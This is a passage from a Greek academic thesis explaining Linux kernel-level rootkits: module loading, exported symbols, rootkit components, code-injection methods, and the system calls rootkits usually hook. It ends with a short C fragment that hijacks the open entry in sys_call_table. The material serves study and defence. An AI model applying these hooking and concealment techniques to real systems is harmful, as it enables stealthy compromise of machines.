     Η άδεια χρήσης του πυρήνα του Linux (GPLv2) προσφέρει ελευθερίες σχετικά με
     την χρήση του κώδικα, αλλά ταυτόχρονα αυστηρά απαγορεύει τη διανομή κώδικα
     που έχει προέλθει από αυτόν με διαφορετικού τύπου άδεια.
        Τα αρθρώματα αποτελούν απειλή για το παραπάνω μοντέλο. Ένα άρθρωμα
     πυρήνα μπορεί να γίνει διαθέσιμο από κάποιον κατασκευαστή σαν δυαδικό αρχείο
     μόνο, χωρίς πηγαίο κώδικα, πράγμα που συμβαίνει αρκετά συχνά. Έτσι, με την
     φόρτωση του αρθρώματος αυτού στον πυρήνα, μπορούν να γίνουν εκτεταμένες
     αλλαγές, σε βαθμό που πλέον ο πυρήνας δεν θα μπορεί να διανέμεται με την
     άδεια χρήσης GPLv2.
        Για να αποφευχθεί το παραπάνω πρόβλημα, η υλοποίηση του μηχανισμού
     των αρθρωμάτων έχει λάβει υπόψη τις άδειες χρήσης. Κάθε άρθρωμα στον κώδι-
     κά του, περιλαμβάνει την μακροεντολή MODULE_LICENSE, όπου ορίζει υπό ποια
     άδεια διανέμεται το άρθρωμα. Αν η άδεια αυτή δεν είναι συμβατή με την GPL, τότε
     κάποια σύμβολα του πυρήνα, τα οποία έχουν ορισθεί με ειδικό τρόπο, δεν θα είναι
     ορατά στο συγκεκριμένο άρθρωμα, και έτσι δεν θα μπορεί να τα χρησιμοποιήσει.
     Επίσης, με την φόρτωση οποιουδήποτε αρθρώματος με μη συμβατή άδεια, θα πα-
     ραχθεί ένα μήνυμα στο αρχείο καταγραφής του συστήματος, το οποίο θα ειδοποιεί
     ότι ο πυρήνας πλέον έχει αλλοιωθεί με τρόπο άγνωστο.


     Φόρτωση αρθρώματος πυρήνα

     Ο χρήστης μπορεί να συνδέσει ένα άρθρωμα με τον πυρήνα ο οποίος είναι σε
     λειτουργία, εκτελώντας το πρόγραμμα insmod. Με την εκτέλεση, το πρόγραμμα
     αυτό αντιγράφει τον αντικειμενικό κώδικα ο οποίος περιέχεται στο αρχείο του αρ-
     θρώματος, και τον αντιγράφει σε ενδιάμεση μνήμη χρήστη (user mode buffer). Στη
     συνέχεια καλείται η κλήση συστήματος init_module() με τις κατάλληλες παρα-
     μέτρους (θέση ενδιάμεσης μνήμης, μέγεθος μνήμης) και τερματίζει το εργαλείο
     insmod.
        Έπειτα, το υπόλοιπο της διαδικασίας υλοποιείται εσωτερικά στον πυρήνα,
     μέσω της ρουτίνας sys_init_module(). Η ρουτίνα αυτή συνοπτικά: ελέγχει αν ο

     44
                                             4.1. Ο ΠΥΡΗΝΑΣ ΤΟΥ ΛΕΙΤΟΥΡΓΙΚΟΥ ΣΥΣΤΗΜΑΤΟΣ LINUX


χρήστης ο οποίος ξεκίνησε την διαδικασία έχει την ανάλογη ικανότητα (capability),
εκχωρεί την απαραίτητη μνήμη πυρήνα στην οποία αντιγράφει τα περιεχόμενα της
ενδιάμεσης μνήμης χρήστη, ελέγχει αν το συγκεκριμένο άρθρωμα είναι ήδη φορ-
τωμένο συγκρίνοντας το όνομα του με τα υπάρχοντα ονόματα αρθρωμάτων της
λίστας modules και ελέγχει την άδεια χρήσης. Στη συνέχεια, και αφού έχουν αρ-
χικοποιηθεί οι απαραίτητες δομές, χρησιμοποιώντας τους πίνακες συμβόλων του
πυρήνα και των αρθρωμάτων, πραγματοποιεί την επανατοποθέτηση (relocation)
του αντικειμενικού κώδικα. Κατά την διαδικασία αυτή όλες οι εμφανίσεις ανα-
φορών σε εξωτερικά και καθολικά σύμβολα αντικαθιστώνται με τις κατάλληλες
αντίστοιχες διευθύνσεις (μετατοπίσεις). Τέλος, η ρουτίνα πραγματοποιεί μερικές
ακόμη αρχικοποιήσεις δομών, τοποθετεί μία εγγραφή για το άρθρωμα στην σχε-
τική λίστα, εκτελεί τον κώδικα της συνάρτησης init() του αρθρώματος αν αυτή
υπάρχει και τερματίζει.
      Το άρθρωμα πλέον αποτελεί εκτελέσιμο κώδικα πυρήνα και είναι έτοιμο να
προσφέρει τις υπηρεσίες του, ακόμη και αν αυτές είναι κακόβουλες όπως στην
περίπτωση των rootkits.


Λίστα αρθρωμάτων πυρήνα

Κατά την φόρτωση κάθε αρθρώματος, ο πυρήνας εκχωρεί μία περιοχή μνήμης πυ-
ρήνα. Στην περιοχή αυτή περιέχονται: α) Ένα αντικείμενο τύπου module, β) ένα
πεδίο τύπου συμβολοσειράς (string) το οποίο αναπαριστά το όνομα του αρθρώμα-
τος και γ) τον κώδικα ο οποίος υλοποιεί τις λειτουργίες του αρθρώματος.
      Το αντικείμενο τύπου module είναι μια δομή η οποία ορίζεται στο αρχεί-
ο /usr/src/linux/include/linux/module.h και περιέχει πληροφορίες γύ-
ρω από το άρθρωμα. Μία διπλά συνδεδεμένη κυκλική λίστα συλλέγει όλα τα
αντικείμενα τύπου module. Η κεφαλή της λίστας αποθηκεύεται στην μεταβλητή
modules ενώ οι δείκτες στα γειτονικά στοιχεία της λίστας αποθηκεύονται στο πεδίο
list του κάθε αντικειμένου module. Το πρώτο αντικείμενο της λίστας ονομάζεται
kernel_module και αναπαριστά τον στατικά συνδεδεμένο πυρήνα.
      Για τον χρήστη, η παραπάνω λίστα είναι διαθέσιμη μέσω του ψευδοσυστήματος
αρχείων /proc    3   στην διαδρομή /proc/modules. Τις ίδιες πληροφορίες για τα
αρθρώματα παρέχει και η εντολή χρήστη lsmod.

  3
   Το σύστημα αρχείων /proc είναι ένα εικονικό σύστημα αρχείων όπου αναπαριστώνται διάφορες
δομές του πυρήνα, και δρα ως διεπαφή χρήστη - πυρήνα


                                                                                        45
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


Αποφόρτωση αρθρώματος πυρήνα

Η απομάκρυνση αρθρώματος πυρήνα πραγματοποιείται μέσω του προγράμματος
χρήστη rmmod. Η μόνη δράση του προγράμματος αυτού είναι να ελέγξει το αρχείο
/proc/modules ώστε να βεβαιώσει ότι το άρθρωμα το οποίο θέλουμε να απομα-
κρύνουμε είναι ήδη φορτωμένο, και στη συνέχεια καλεί την κλήση συστήματος
delete_module() με όρισμα το όνομα του αρθρώματος.
   Στη συνέχεια αναλαμβάνει η ρουτίνα πυρήνα sys_delete_module(). Ακο-
λουθείται σχεδόν αντίστροφή διαδικασία με την προηγούμενη, με την διαφορά
ότι γίνεται έλεγχος στις αλληλεξαρτήσεις των αρθρωμάτων, ώστε να μην επιτραπεί
η απομάκρυνση αρθρώματος, σύμβολα του οποίου χρησιμοποιούνται από άλλο
μέρος του κώδικα πυρήνα ή άλλα αρθρώματα. Εάν υπήρχε συνάρτηση init() στο
άρθρωμα, τότε εκτελείται ο κώδικας της συνάρτησης exit() του αρθρώματος κατά
την αποφόρτωση αν αυτός υπάρχει, ενώ αν δεν υπάρχει η διαδικασία σταματάει
και δεν απομακρύνεται το άρθρωμα. Τέλος, η εγγραφή για το άρθρωμα αφαιρεί-
ται από την λίστα modules, αποδεσμεύονται οι περιοχές μνήμης οι οποίες είχαν
εκχωρηθεί και η διαδικασία σταματάει.


Εξαγόμενα σύμβολα

Όπως αναφέρθηκε, κατά την διαδικασία φόρτωσης των αρθρωμάτων πυρήνα, όλες
οι εμφανίσεις αναφορών σε εξωτερικά και καθολικά σύμβολα, όπως μεταβλητές και
συναρτήσεις του πυρήνα, αντικαθιστώνται με τις κατάλληλες αντίστοιχες διευθύν-
σεις, χρησιμοποιώντας τους πίνακες συμβόλων του πυρήνα.
   Ο πυρήνας χρησιμοποιεί ειδικούς πίνακες συμβόλων για την αποθήκευση των
συμβόλων στα οποία μπορούν να έχουν πρόσβαση τα αρθρώματα, μαζί με τις διευ-
θύνσεις τους στη μνήμη. Οι πίνακες αυτοί περιέχονται σε τρία υπό-τμήματα του
τμήματος κώδικα του πυρήνα: Το πρώτο είναι το __kstrtab το οποίο περιλαμ-
βάνει τα ονόματα των συμβόλων, το δεύτερο είναι το __ksymtab το οποίο περιλαμ-
βάνει τις διευθύνσεις των συμβόλων τα οποία μπορούν να χρησιμοποιηθούν από
οποιοδήποτε είδος αρθρώματος, και το τρίτο είναι το __ksymtab_gpl το οποίο πε-
ριλαμβάνει τις διευθύνσεις των συμβόλων τα οποία μπορούν να χρησιμοποιηθούν
μόνο από αρθρώματα υπό άδεια GPL. Πρόσβαση σε αυτό τον πίνακα μπορούμε
να έχουμε μέσω του αρχείου /proc/kallsyms.
   Τα συνδεδεμένα στον πυρήνα αρθρώματα μπορούν και αυτά να εξάγουν τα
σύμβολά τους ώστε άλλα αρθρώματα να είναι σε θέση να τα χρησιμοποιήσουν. Οι
πίνακες συμβόλων των αρθρωμάτων περιέχονται στα αντίστοιχα με παραπάνω υ-

46
                                        4.2. ΑΡΧΙΤΕΚΤΟΝΙΚΗ ΤΩΝ ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


ποτμήματα του τμήματος κώδικα του αρθρώματος. Κατά την σύνδεση, τα σύμβολα
τα οποία εξάγονται αντιγράφονται σε δύο περιοχές μνήμης, και οι διευθύνσεις των
περιοχών αυτών αποθηκεύονται στα πεδία syms και gpl_syms του αντικειμένου
module το οποίο αντιστοιχεί στο συγκεκριμένο άρθρωμα.
   Πρέπει να τονιστεί, ότι από την έκδοση 2.5 του πυρήνα του Linux και έπειτα,
κανένα σύμβολο δεν εξάγεται αυτόματα, τόσο του πυρήνα όσο και των αρθρω-
μάτων. Κατά την ανάπτυξη του κώδικα πρέπει να προβλεφθεί εάν ένα σύμβολο
είναι χρήσιμο να εξαχθεί ώστε να γίνει διαθέσιμο προς χρήση από άλλα αρθρώμα-
τα. Αν υπάρξει τέτοια πρόβλεψη, θα πρέπει να χρησιμοποιηθούν οι μακροεντολές
EXPORT_SYMBOL και EXPORT_SYMBOL_GPL με το όνομα του συμβόλου, ανάλογα
για το αν το σύμβολο πρόκειται να είναι διαθέσιμο σε οποιοδήποτε κώδικα ή μο-
νάχα σε κώδικα υπό άδεια χρήσης GPL.
   Ίσως η πιο σημαντική επίδραση της παραπάνω εξέλιξης στην έρευνα μας σχε-
τικά με τα rootkits, είναι το γεγονός ότι με την αλλαγή αυτή, το πολύ σημαντικό
σύμβολο sys_call_table πλέον δεν εξάγεται από τον κώδικα πυρήνα, και άρα
δεν είναι διαθέσιμο για χρήση από τα αρθρώματα, κακόβουλα και μη. Στο κε-
φάλαιο 4 θα εξετάσουμε αναλυτικότερα το συγκεκριμένο ζήτημα.



4.2 Αρχιτεκτονική των rootkits επιπέδου πυρήνα
Στην ενότητα αυτή αναγνωρίζουμε τα συστατικά τα οποία συνθέτουν ένα rootkit τα
οποίο εκτελείται σε περιβάλλον πυρήνα. Για να χρησιμοποιηθεί ένα τέτοιο rootkit
ο εισβολέας πρέπει αρχικά να το εγκαταστήσει και έπειτα να αποτρέψει τις όποιες
προσπάθειες απομάκρυνσής του. Έτσι το rootkit πρέπει να περιλαμβάνει ένα στοι-
χείο προστασίας. Μετά την εγκατάσταση, το rootkit πρέπει να μπορεί να επικοι-
νωνεί με τον εισβολέα. Έτσι απαιτείται ένα στοιχείο επικοινωνίας. Δεδομένης της
δυνατότητας επικοινωνίας, ο εισβολέας μπορεί να “ζητήσει” την εκτέλεση συγκε-
κριμένων λειτουργιών στο σύστημα. Για την παροχή των λειτουργιών αυτών απαι-
τείται ένα ή περισσότερα στοιχεία τα οποία να υλοποιούν τις κακόβουλες υπηρε-
σίες. Ακολουθεί αναλυτικότερη περιγραφή των στοιχείων τα οποία συνθέτουν ένα
τυπικό rootkit επιπέδου πυρήνα:

Εισαγωγέας κώδικα Ο εισαγωγέας κώδικα είναι ο μηχανισμός τον οποίο χρησι-
     μοποιεί ο εισβολέας για την αλλοίωση του κώδικα του πυρήνα. Οποιοδήποτε
     κενό ασφαλείας και αν έχει εκμεταλλευθεί ο εισβολέας για να παραβιάσει το
     σύστημα, πρέπει στη συνέχεια να εισάγει τον κώδικά του στον πυρήνα. Ότι

                                                                                  47
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


      είδος rootkit και αν θέλει να εγκαταστήσει, χρειάζεται ένα στοιχείο εισαγωγής
      το οποίο θα επιτρέψει την τροποποίηση συγκεκριμένων δομών του πυρήνα
      ή του συστήματος.

Στοιχείο προστασίας Το στοιχείο προστασίας προσπαθεί να κάνει το rootkit α-
      ξιόπιστο για χρήση από τον εισβολέα.Αρκετές στρατηγικές είναι δυνατές και
      μπορούν να συνδυαστούν:

         • Συγκάλυψη. To rootkit πρέπει να μην μπορεί να ανιχνευθεί κατά την
           λειτουργία του, και ταυτόχρονα, αν το rootkit είναι σχεδιασμένο να μένει
           σε λειτουργία μετά την επανεκκίνηση του συστήματος, πρέπει ο κώδικας
           στην παραμένουσα μνήμη (non-volatile) να είναι κρυμμένος.

         • Ανθεκτικότητα. Υποθέτοντας ότι το rootkit έχει ανιχνευθεί, το rootkit
           πρέπει να διαθέτει τεχνικές οι οποίες να εμποδίσουν την πλήρη ή μερική
           απομάκρυνσή του από το σύστημα.

         • Εμμονή Το rootkit πρέπει να διαθέτει κατάλληλο μηχανισμό ώστε να
           επιβιώνει σε μια τυχόν επανεκκίνησή του συστήματος. Για να είναι εφι-
           κτό αυτό, το rootkit ή μέρος αυτού πρέπει να είναι αποθηκευμένο και
           σε κάποιο σταθερό σημείο του συστήματος εκτός από τη μνήμη.

Στοιχείο κερκόπορτας Το στοιχείο κερκόπορτας επιτρέπει στον εισβολέα να δια-
      τηρεί τον έλεγχο του συστήματος και να αξιοποιεί τις υπηρεσίες που αυτό
      προσφέρει. Είναι η κεντρική διεπαφή του rootkit με τον χρήστη του. Η διε-
      παφή αυτή μπορεί να διαχωριστεί σε δυο μέρη:

         • Από το σύστημα εισβολέα προς το παραβιασμένο σύστημα. Το στοιχείο
           αυτό περιλαμβάνει το εξωτερικό κανάλι επικοινωνίας του εισβολέα με το
           σύστημα. Μπορεί να είναι από μια απλή τεχνική χρήσης ενός νόμιμου
           λογαριασμού χρήστη του οποίου ο κωδικός έχει ανακαλυφθεί, μέχρι
           υλοποίηση συγκεκαλυμμένου καναλιού επικοινωνίας (covert channel).

         • Από το παραβιασμένο σύστημα προς τις υπηρεσίες του rootkit. Το στοιχείο
           αυτό χαρακτηρίζει τον τρόπο με τον οποίο το rootkit υλοποιεί τις εργα-
           σίες που του ζητούνται, και ποικίλει από ανακατεύθυνση των κλήσεων
           συστήματος μέχρι αλλοίωση του εικονικού συστήματος αρχείων (VFS) ή
           άλλων δομών του πυρήνα. Αναλύουμε τους τρόπους αλλοιώσεις διεξοδι-
           κά στην ενότητα 4.4.

48
                                          4.3. ΤΕΧΝΙΚΕΣ ΕΙΣΑΓΩΓΗΣ ΑΛΛΑΓΩΝ ΣΤΟΝ ΠΥΡΗΝΑ


Υπηρεσίες Κάθε rootkit παρέχει συγκεκριμένες υπηρεσίες στον εισβολέα οι ο-
     ποίες του επιτρέπουν να πραγματοποιήσει κακόβουλες δραστηριότητες στο
     σύστημα ή μέσω αυτού. Διακρίνουμε δύο βασικές κατηγορίες:

       • Παθητικές υπηρεσίες Οι υπηρεσίες αυτές χρησιμοποιούνται από τον ει-
         σβολές για την απόκτηση ευαίσθητων πληροφοριών οι οποίες υπάρ-
         χουν στο παραβιασμένο σύστημα ή διακινούνται μέσω αυτού. Το τυπικό
         παράδειγμα τέτοιας υπηρεσίας είναι ο καταγραφέας πληκτρολόγησης
         (keylogger).
       • Ενεργητικές υπηρεσίες Είναι η υπηρεσίες αυτές οι οποίες επιτρέπουν
         στον επιτιθέμενο να εκτελέσει κακόβουλες δραστηριότητες σε άλλα συ-
         στήματα, όπως επιθέσεις άρνησης παροχής υπηρεσιών ή παραβίαση γει-
         τονικών στο τοπικό δίκτυο συστημάτων.



4.3 Τεχνικές εισαγωγής αλλαγών στον πυρήνα
Στη γενική τους μορφή τα rootkits πυρήνα αποτελούνται από ένα τουλάχιστον άλ-
λο μέρος κώδικα το οποίο αναλαμβάνει να εκτρέψει την κανονική ροή εκτέλεσης
του συστήματος με τρόπο τέτοιο ώστε να συμπεριληφθεί στη ροή αυτή ένα δεύτε-
ρο μέρος κώδικα το οποίο αναλαμβάνει να εκτελέσεις κακόβουλες προσταγές του
εισβολέα. Ο κώδικα του rootkit πρέπει με κάποιο τρόπο να εισαχθεί στη μνήμη
πυρήνα, και να τροποποιηθούν οι δομές που θα επιτρέψουν την εκτροπή της ροής
εκτέλεσης. Στην έρευνά μας παρατηρήσαμε τους διαφορετικούς τρόπους με τους
οποίους γίνεται η εισαγωγή αυτή και τους παρουσιάζουμε.


4.3.1 Μεταγλώττιση πυρήνα
Ο πρώτος, και πιο απλοϊκός τρόπος εισαγωγής κώδικα στον πυρήνα, είναι η κα-
τάλληλη τροποποίηση του πηγαίου κώδικα του πυρήνα ώστε να συμπεριλάβει το
κακόβουλο λογισμικό [22]. Στη συνέχεια πρέπει να γίνει πλήρη μεταγλώττιση του
κώδικα ώστε να παραχθεί η εικόνα του πυρήνα, η οποία φορτώνεται στη μνήμη
κατά την εκκίνηση του συστήματος. Η διαδικασία αυτή είναι η συνήθης διαδικασί-
α ανάπτυξης κώδικα πυρήνα η οποία χρησιμοποιείται από τους προγραμματιστές
πυρήνα. Αν και μπορεί να χρησιμοποιηθεί από τον εισβολέα για την εισαγωγή
κάποιου rootkit σε παραβιασμένο σύστημα, δεν είναι πρακτική μέθοδος. Η με-
ταγλώττιση επιβαρύνει σημαντικά το σύστημα για μεγάλο χρονικό διάστημα, με

                                                                                49
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


αποτέλεσμα να είναι εύκολο να τραβήξει την προσοχή του διαχειριστή. Επίσης,
τις περισσότερες φορές ο πηγαίος κώδικας του πυρήνα δεν είναι διαθέσιμος σε
συστήματα παραγωγής ώστε να μπορέσουν να γίνουν οι αλλαγές και η μεταγλώτ-
τιση. Ακόμη και εφόσον ο πηγαίος κώδικας υπάρχει, ο επιτιθέμενος θα πρέπει να
έχει προετοιμάσει κατάλληλα αρχεία τροποποιήσεων (patchsets) για πολλές και
διαφορετικές σε μεγάλο βαθμό εκδόσεις του πυρήνα. Τέλος, υποθέτοντας ότι έχει
γίνει τροποποίηση και μεταγλώττιση, χρειάζεται και μια επανεκκίνηση του συστή-
ματος για να τεθεί σε λειτουργία το rootkit, κάτι που εάν γίνει χωρίς την άδεια του
διαχειριστή θα προκαλέσει υποψίες. Για όλους τους παραπάνω λόγους, η μέθοδος
αυτή δεν χρησιμοποιείται σε επιθέσεις.


4.3.2 Επεξεργασία εικόνας πυρήνα στο δίσκο
Κατά τη μεταγλώττιση του πυρήνα του Linux δημιουργούνται δυο σημαντικά αρ-
χεία, το vmlinux και το vmlinuz. Το vmlinuz είναι μια συμπιεσμένη μορφή του
πρώτου και χρησιμοποιείται για την εκκίνηση του συστήματος. Το vmlinux είναι
ο ίδιος ο πυρήνας του συστήματος μετά τη μεταγλώττιση, ο οποίος φορτώνεται
στη μνήμη κατά την εκκίνηση του συστήματος. Με επέμβαση στο δυαδικό αρχείο
vmlinuz ο εισβολέας μπορεί να προσθέσει κώδικα ή να κάνει αλλαγές σε δομές
του πυρήνα. Η τεχνική αυτή είναι αρκετά επίπονη και έχει πολύ σημαντικά μειο-
νεκτήματα για τον εισβολέα, με μεγαλύτερο την ανάγκη για επανεκκίνηση του
συστήματος μετά την επεξεργασία του αρχείου, ενώ για την αποσυμπίεση του αρ-
χείου δεν υπάρχει αξιόπιστη διαδικασία. Τέλος, καθώς πρόκειται για αρχείο του
συστήματος αρχείων το οποίο θα αλλοιωθεί, το rootkit θα πρέπει να χρησιμοποιεί
ειδικές τεχνικές ώστε σε περίπτωση δημιουργίας κρυπτογραφικού αθροίσματος
ελέγχου, το αρχείο να φαίνεται να μην έχει αλλοιωθεί.


4.3.3 Αρθρώματα πυρήνα
Το λειτουργικό σύστημα Linux διαθέτει τον μηχανισμό των αρθρωμάτων πυρήνα
για εισαγωγής κώδικα στον πυρήνα κατά την ώρα της εκτέλεσης. Οι κακόβουλοι
χρήστες πολύ γρήγορα εκμεταλλεύθηκαν τα πλεονεκτήματα και την ευελιξία την
οποία προσφέρουν τα αρθρώματα, και τα χρησιμοποιούν για εισαγωγή κακόβου-
λου κώδικα. Η πρώτη ολοκληρωμένη παρουσίαση της τεχνικής αυτής έγινε από
την ομάδα hacker με όνομα THC το 1999 [23] και πλέον είναι η τεχνική την οποία
χρησιμοποιεί η μεγάλη πλειοψηφία των rootkits. Στην ενότητα 4.1.3 αναλύσα-

50
                                          4.3. ΤΕΧΝΙΚΕΣ ΕΙΣΑΓΩΓΗΣ ΑΛΛΑΓΩΝ ΣΤΟΝ ΠΥΡΗΝΑ


με τις δυνατότητες των αρθρωμάτων πυρήνα. Ο επιτιθέμενος, χρησιμοποιώντας τα
αρθρώματα πυρήνα μπορεί να τοποθετήσεις τον κώδικα του στον πυρήνα μέσω
αξιόπιστων διαδικασιών χωρίς ιδιαίτερο κόπο κατά την ώρα της επίθεσης, αφού
αρκεί μια μεταγλώττιση του αρθρώματος πυρήνα είτε στο σύστημα στόχος είτε στο
σύστημα του εισβολέα, και έπειτα η εισαγωγή του χρησιμοποιώντας την εντολή
insmod του Linux.
   Η μέθοδος αυτή επιτρέπεται μόνο αν υπάρχει υποστήριξη αρθρωμάτων στον
πυρήνα. Η υποστήριξη αυτή υπάρχει εξ’ ορισμού στις επιλογές μεταγλώττισης του
πυρήνα, αλλά είναι δυνατό να απενεργοποιηθεί κατά βούληση. Μια τακτική η ο-
ποία χρησιμοποιείται από κάποιους διαχειριστές συστημάτων για την προστασία
από την εισαγωγή κακόβουλων αρθρωμάτων πυρήνα, είναι η απενεργοποίηση της
δυνατότητας αυτής. Σε ένα πυρήνα ο οποίος δεν επιτρέπει την εισαγωγή αρθρω-
μάτων, τα rootkits τα οποία χρησιμοποιούν αυτό τον τρόπο εισαγωγής κώδικα
αχρηστεύονται. Όμως, το κόστος σε ευελιξία αυτής της λύσης είναι υψηλό και αρ-
μόζει μόνο σε συγκεκριμένου τύπου συστήματα, όπως διακομιστές δικτύου, στους
οποίους το υλικό δεν μεταβάλλεται ποτέ, ενώ χρειάζεται ειδική μέριμνα κατά την
εγκατάσταση του συστήματος έτσι ώστε όλοι οι απαραίτητοι οδηγοί συσκευών να
μεταγλωττιστούν εσωτερικά στον πυρήνα ώστε να μην είναι απαραίτητη η χρήση
αρθρωμάτων. Η τεχνική αυτή φαντάζει ίσως σαν μια καλή λύση στο πρόβλημα για
τα συγκεκριμένα συστήματα, όμως η πραγματικότητα είναι διαφορετική καθώς
αρκετά επικίνδυνα rootkits χρησιμοποιούν μια εναλλακτική τεχνική εισαγωγής
κώδικα στον πυρήνα, οι οποία περιγράφεται στην επόμενη ενότητα.
   Μια διαφορετική τεχνική ελέγχου των αρθρωμάτων τα οποία εισάγονται είναι η
χρήση κρυπτογραφικών μεθόδων υπογραφής των αρθρωμάτων, η οποία όμως δεν
εφαρμόζεται ή παρακάμπτεται καθώς είναι δύσκολη η υλοποίησή της για ευρεία
χρήση [24]. Τέλος, έχει προταθεί η τεχνική της στατικής ανάλυσης της συμπερι-
φοράς των αρθρωμάτων πυρήνα πριν την κάθε εισαγωγή, ώστε να επαληθευτεί ότι
δεν πρόκειται για rootkits [25].


4.3.4 Επεξεργασία εικόνας πυρήνα στη μνήμη
Στα λειτουργικά συστήματα Unix υπάρχουν τα λεγόμενα “αρχεία συσκευής”
(device files). Κάθε περιφερειακή συσκευή συνδεδεμένη στο σύστημα, όπως ε-
κτυπωτές ή δίσκοι αποθήκευσης, δημιουργεί ένα αρχείο κάτω από τον κατάλογο
/dev, μέσω του οποίου υλοποιείται το υποσύστημα εισόδου – εξόδου της συσκευ-
ής. Ο πυρήνας αναλαμβάνει να μετατρέψει την κάθε ανάγνωση ή εγγραφή στο

                                                                                 51
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


αρχείο συσκευής στην κατάλληλη λειτουργία εισόδου ή εξόδου για την συγκεκρι-
μένη περιφερειακή συσκευή.
     Εκτός από τα αρχεία συσκευής τα οποία αντιστοιχούν σε πραγματικές συσκευ-
ές συνδεδεμένες στο σύστημα, υπάρχουν και κάποιες ειδικές περιπτώσεις. Τα ειδι-
κά αυτά αρχεία συσκευής υλοποιούν πολύ συγκεκριμένες διαδικασίες. Παραδείγ-
ματα τέτοιων αρχείων είναι το /dev/null, το /dev/random και το /dev/console.
Οι συσκευές αυτές ονομάζονται ψευδοσυσκευές συστήματος.
     Η ψευδοσυσκευή η οποία μας απασχολεί σχετικά με τους τρόπους αλλοίωσης
της ροής εκτέλεσης του πυρήνα είναι η /dev/kmem (ή /dev/mem). Το αρχείο αυτό
επιτρέπει την απευθείας πρόσβαση μέσω διαδικασιών ανάγνωσης και εγγραφής
αρχείου στην εικονική μνήμη (στην περίπτωση του /dev/mem) ή απευθείας στη
εικονική μνήμη της διεργασίας όπως την βλέπει ο πυρήνας (στην περίπτωση του
/dev/kmem). Η ανάγνωση ή εγγραφή στα αρχεία αυτά προϋποθέτει δικαιώματα
υπερχρήστη. Οι ψευδοσυσκευές αυτές συνήθως χρησιμοποιούνται από εργαλεία
διαχείρισης του συστήματος όπως τα sar, iostat και vmstat.


4.4 Σημεία εκτροπής της ροής εκτέλεσης
Τα rootkits δρουν δημιουργώντας κάποια αλλαγή στη ροής εκτέλεσης συγκεκρι-
μένων λειτουργιών του πυρήνα. Η αλλαγή αυτή συμβαίνει σε πολύ συγκεκριμένα
σημεία, όπου και γίνονται οι κακόβουλες τροποποιήσεις σε στοιχεία της ροής. Οι
τροποποιήσεις αυτές μπορούν να γίνουν σε πολλά και διαφορετικά επίπεδα τόσο
στο περιβάλλον χρήστη όσο και στο περιβάλλον πυρήνα. Τα σημεία αυτά της ε-
κτροπής καθορίζουν τι δυνατότητες προσφέρει το rootkit στον χειριστή του, και
τον τρόπο με τον οποίο μπορεί να γίνει η ανίχνευση του.
     Στη συνέχεια θα αναλύσουμε τα σημεία στα οποία επεμβαίνουν τα rootkits και
θα παρουσιάσουμε σχηματικά την αλλοίωση που επιφέρουν στην ροή εκτέλεσης.
Ο πιο κοινός στόχος είναι οι κλήσεις συστήματος. Υπάρχουν περίπου 290 κλή-
σεις συστήματος σε έναν τυπικό πυρήνα έκδοσης 2.6. Θα πρέπει να σημειωθεί ότι
δεν τροποποιούνται όλες οι κλήσεις συστήματος, αλλά υπάρχουν ορισμένες πολύ
δημοφιλείς τις οποίες παρουσιάζουμε στον πίνακα 4.1.




52
                                                          4.4. ΣΗΜΕΙΑ ΕΚΤΡΟΠΗΣ ΤΗΣ ΡΟΗΣ ΕΚΤΕΛΕΣΗΣ


                Πίνακας 4.1: Κλήσεις συστήματος τη λειτουργία των ο-
                ποίων τροποποιούν συνήθως τα rootkits.


  Κλήση Συστήματος             Αριθμός                 Περιγραφή - Χρήση

  sys_read                         3        Ανάγνωση από αρχεία.
  sys_write                        4        Εγγραφή σε αρχεία.
  sys_open                         5        Δημιουργία ή το άνοιγμα αρχείων.
  sys_getdents                    141       Εμφάνιση περιεχομένων των φακέλων του
  sys_execve                       11       Εκτέλεση αρχείων.
  sys_kill                         37       Αποστολή σημάτων σε διεργασίες.
  sys_chdir                        12       Αλλαγή φακέλου.
  sys_query_module                167       Αναζήτηση πληροφοριών σχετικών με τα
                                            φορτωμένα αρθρώματα.
  sys_socketcall                  102       Διαχείριση των sockets.
  sys_setuid                       23       Διαχείριση των ID χρήστη.
  sys_getuid                       24       Διαχείριση των ID ομάδας.
  sys_ioctl                        54       Έλεγχος παραμέτρων συσκευών.
  sys_fork                          2       Δημιουργία διεργασιών παιδιών.
  sys_clone                       120       Δημιουργία διεργασιών παιδιών.




4.4.1 Τροποποίηση εγγραφών του Πίνακα Κλήσεων Συστήματος
Όπως ήδη εξετάσαμε στην ενότητα 4.1.2, ο πίνακας κλήσεων του συστήματος είναι
η πιο κρίσιμη δομή του πυρήνα σε σχέση με την ερεύνα μας. Ο πίνακας αυτός
περιέχει διευθύνσεις θέσεων μνήμης, στις οποίες αρχίζει η υλοποίηση του κώδικα
του χειριστή της αντίστοιχης κλήσης συστήματος.
      Στο σχήμα 4.3 της σελίδας 40 παρουσιάσαμε την πορεία ή ροή εκτέλεσης την
οποία ακολουθεί το σύστημα για την ολοκλήρωση μιας κλήσης συστήματος.
      Η ιδέα την οποία τα rootkits χρησιμοποιούν, είναι τροποποίηση μίας ή περισ-
σοτέρων εγγραφών του πίνακα και η εκτροπή έτσι της ροής εκτέλεσης σε κάποιο
σημείο του πυρήνα όπου έχει εισαχθεί4 , ο κατάλληλος κακόβουλος κώδικας από
  4
      σύμφωνα με τις μεθόδους τις οποίες παρουσιάσαμε στην ενότητα 4.3


                                                                                            53
ΚΕΦΑΛΑΙΟ 4. ROOTKITS ΕΠΙΠΕΔΟΥ ΠΥΡΗΝΑ


τον εισβολέα.
   Η εκτροπή αυτή είναι απόλυτα διαφανής στον χρήστη, αλλά και στον διαχειρι-
στή του συστήματος, και έχει αποτέλεσμα την εκτέλεση του κακόβουλου κώδικα
με την κάθε κλήση της αντίστοιχης κλήσης συστήματος.
   Σε επίπεδο κώδικα το παρακάτω απόσπασμα κακόβουλου αρθρώματος, ήταν
αρκετό για να τροποποιηθεί μια εγγραφή μέχρι την έκδοση πυρήνα 2.4.18
   long evil_open(){
       ...evil_open implementation...
   }
   extern void *sys_call_table[];
   sys_call_table[__NR_open]=(unsigned long)evil_open;

   Παρατηρούμε ότι είναι αρκετή μια αναφορά στο σύμβολο sys_call_table.
